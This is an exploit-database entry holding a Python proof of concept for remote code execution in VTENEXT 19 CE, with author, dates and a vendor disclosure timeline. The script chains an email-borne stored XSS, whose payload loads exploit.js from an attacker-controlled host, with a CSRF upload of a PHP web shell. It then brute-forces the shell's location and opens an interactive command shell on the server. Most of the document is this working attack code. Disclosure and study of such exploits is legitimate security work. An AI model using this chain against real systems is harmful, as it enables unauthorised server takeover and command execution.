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"VTENEXT 19 CE - Remote Code Execution"

Author

Exploit author

"Marco Ruela"

Platform

Exploit platform

multiple

Release date

Exploit published date

2020-09-11

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#!/usr/bin/python3

# Exploit Title: VTENEXT 19 CE - Remote Code Execution
# Google Dork: n/a
# Date: 2020/09/09
# Exploit Author: Marco Ruela
# Vendor Homepage: https://www.vtenext.com/en/
# Software Link: Vendor removed vulnerable version from sourceforge.net
# Version: 19 CE
# Tested on: Ubuntu 16.04
# CVE 	: N/A
	
# 2020/03/07 - Disclosed vulnerabilities to vendor
# 2020/03/10 - Vendor committed to fix
# 2020/09/09 - Public disclosure

# This script should be easy enough to follow.
# We string together the three vulnerabilities to get RCE.

# XSS - The "From" field of the VTENEXT Messages module is vulnerable.
# File Upload - File extensions are checked against a $upload_badext in the config file, .pht extensions are allowed and executable by default .
# CSRF - No CSRF protections in place.

# exploit.js needs to be hosted somewhere, IP's need to be replaced 
# check_csrf() should be changed based on your setup
# run_shell() is a "nice to have"


# content of exploit.js
"""
function insertImage() {
	var xhr = new XMLHttpRequest();
	xhr.open('POST','http://192.168.226.168/vtenext19ce/index.php?module=Myfiles&action=MyfilesAjax&file=UploadFile&folderid=&uniqueid=',true);
	xhr.setRequestHeader('Content-type','multipart/form-data; boundary=---------------------------rekt');
    xhr.setRequestHeader('Content-Length', '248');
    xhr.setRequestHeader('Referer', 'http://172.16.233.146/vtenext19ce/index.php');
    xhr.withCredentials = true;
    var body = '-----------------------------rekt\nContent-Disposition: form-data; name="file_0"; filename="shell.pht"\nContent-Type: text/text\n\n<?php system($_GET[\'x\']); ?>\n\n-----------------------------rekt--';
    
    var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
}

insertImage();
"""

import smtplib
import datetime
import requests
import os
import time

base_url = "http://192.168.226.168/vtenext19ce/"

print("[*] CVE-2020-10227, CVE-2020-10228, CVE-2020-10229 - POC")


def build_url():
    d = datetime.datetime.today()
    year = str(d.year)
    month = str(d.strftime("%B"))
    week = "week" + str(d.isocalendar()[1] - d.replace(day=1).isocalendar()[1])
    tmp = base_url + "storage/home/1/" + year + "/" + month + "/" + week + "/"
    return(tmp)

def build_mail():
    _from    = """'<script src="http://192.168.226.1/exploit.js" onerror=alert(1) >'"""
    _to      = "admin@example.com"
    _subject = "Important!"
    _body    = "While you're reading this, a file is being uploaded to this server." 

    msg  = "From: " + _from + "\n"
    msg += "To: " + _to + "\n"
    msg += "Subject: " + _subject + "\n\n"
    msg += _body
    return msg

def send_mail():
    msg = build_mail()
    smtp_server = '192.168.226.167'
    smtp_port   = 25

    sender   = 'user1@lab.local'
    receiver = 'admin@lab.local'

    server = smtplib.SMTP(smtp_server, smtp_port)
    server.sendmail(sender, receiver, msg)

def check_csrf():
    while True:
        is_there = os.popen('tail -n1 /var/log/apache2/access.log').read()

        if "200" in is_there and "/exploit.js" in is_there and base_url in is_there:
            print("[>] CSRF triggered")
            break
        else:
            time.sleep(0.5)
            continue


def find_shell():
    print("[>] Locating shell")
    time.sleep(1)
    tmp1 = build_url()
    for i in range(1, 9999):
        url = tmp1 + str(i) + "_shell.pht" 
        r = requests.get(url)
        if r.status_code == 200:
            print("[>] Found the shell")
            print("[-] Location: " + url)
            return url
        else:
            continue    

def run_shell(x):
    print("\n")
    while True:
        cmd = input("shell> ")
        if cmd == "exit":
            break
        else:
            url = x + "?x=" + cmd
            r = requests.get(url)
            print(r.text)


print("[>] Sending email")
send_mail()

print("[-] Waiting for user to open mail")

check_csrf()

shell_location = find_shell()

run_shell(shell_location)


print("[!] Done!")
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Release Date Title Type Platform Author
2020-09-11 "VTENEXT 19 CE - Remote Code Execution" webapps multiple "Marco Ruela"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48804/?format=json')

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